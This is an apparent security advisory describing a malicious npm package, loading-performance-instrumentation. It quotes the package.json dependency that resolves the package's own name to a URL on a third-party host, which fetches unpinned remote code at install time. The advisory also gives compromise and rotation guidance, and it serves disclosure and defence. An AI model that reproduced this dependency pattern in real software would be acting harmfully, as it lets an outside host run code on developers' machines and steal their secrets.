MAL-2026-15539

Summary: Malicious code in loading-performance-instrumentation (npm)

Details: Source: amazon-inspector (27dab9307010475c57195f838ba7d7299fe4a753b92926536aa8376f8d096150) package.json line 11 declares a dependency whose source is a bare URL rather than a registry version range: "loading-performance-instrumentation": "https://repo.securityctrl.com/loading-performance-instrumentation". The dependency key equals the package's own name (dependency-confusion shape). On `npm install`, npm fetches whatever bytes repo.securityctrl.com returns for that path and installs them into node_modules, running any lifecycle scripts contained inside the fetched tarball. There is no version pin, no integrity hash, and no commit SHA — the content at that URL can change at any time. The README frames the package as a placeholder to prevent dependency confusion, but the manifest itself resolves the same name to a third-party host, contradicting that framing. The shipped code in this tarball is an inert stub; the manifest URL is the entire install-time payload path. Source: ghsa-malware (867093af2c7e58668d79edced1fd999414e3bac56c0d648bb8d973dc268aab39) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
